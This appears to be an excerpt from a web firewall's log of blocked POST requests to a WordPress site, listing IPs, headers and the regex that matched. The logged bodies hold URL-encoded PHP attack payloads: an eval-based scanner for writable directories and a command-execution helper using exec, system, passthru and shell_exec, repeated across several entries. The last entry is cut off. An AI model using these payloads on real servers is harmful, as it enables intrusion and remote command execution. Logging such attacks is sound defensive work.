Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:3362\n\nIMAhJp=eval(rawurldecode(\"%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%24p.DIRECTORY_SEPARATOR.%22%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21empty%28%24f%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24f%5B0%5D%29%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20return%20filemtime%28%24p%29%3B%20%20%20%20%20%7D%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3Cd%3E%7B%24res%7D%40%7B%24o%7D%3C\/d%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%24r%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20\"));"]
["2026-05-12 16:19:20","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tb:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3343\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nTb=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:19:26","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> fg:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvMzpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3343\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nfg=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:19:30","213.209.159.254","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> JS:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\nsec-ch-ua-platform:\"Windows\"\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFyZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-length:3343\nsec-fetch-user:?1\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nJS=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 16:19:39","213.209.159.254","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BX:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27authentication%27%2C%27sais_inv_step2%27%2C%27block_loancalc%27%2C%27AccessLib.class%27%2C%27editemails_bck%27%2C%27mm3_panel%27%2C%27xenobe_funcs%27%2C%27adminlib%27%2C%27connect.inc%27%2C%27room.class%27%2C%27finnish_mimes%27%2C%27store_manager%27%2C%27javaUpload%27%2C%27altres_contactes%27%2C%27cp.topic%27%2C%27update_function%27%2C%27tempfiles%27%2C%27users_actions%27%2C%27webdb_addtable2%27%2C%27theme_color%27%2C%27config_ftp%27%2C%27rokcandy_button%27%2C%27tbl_info.inc%27%2C%27jpgraph_regstat%27%2C%27html2fpdf%27%2C%27xoopsuser%27%2C%27livehelp_step3%27%2C%27adminlogin%27%2C%27php_http_proxy%27%2C%27db_links.inc%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%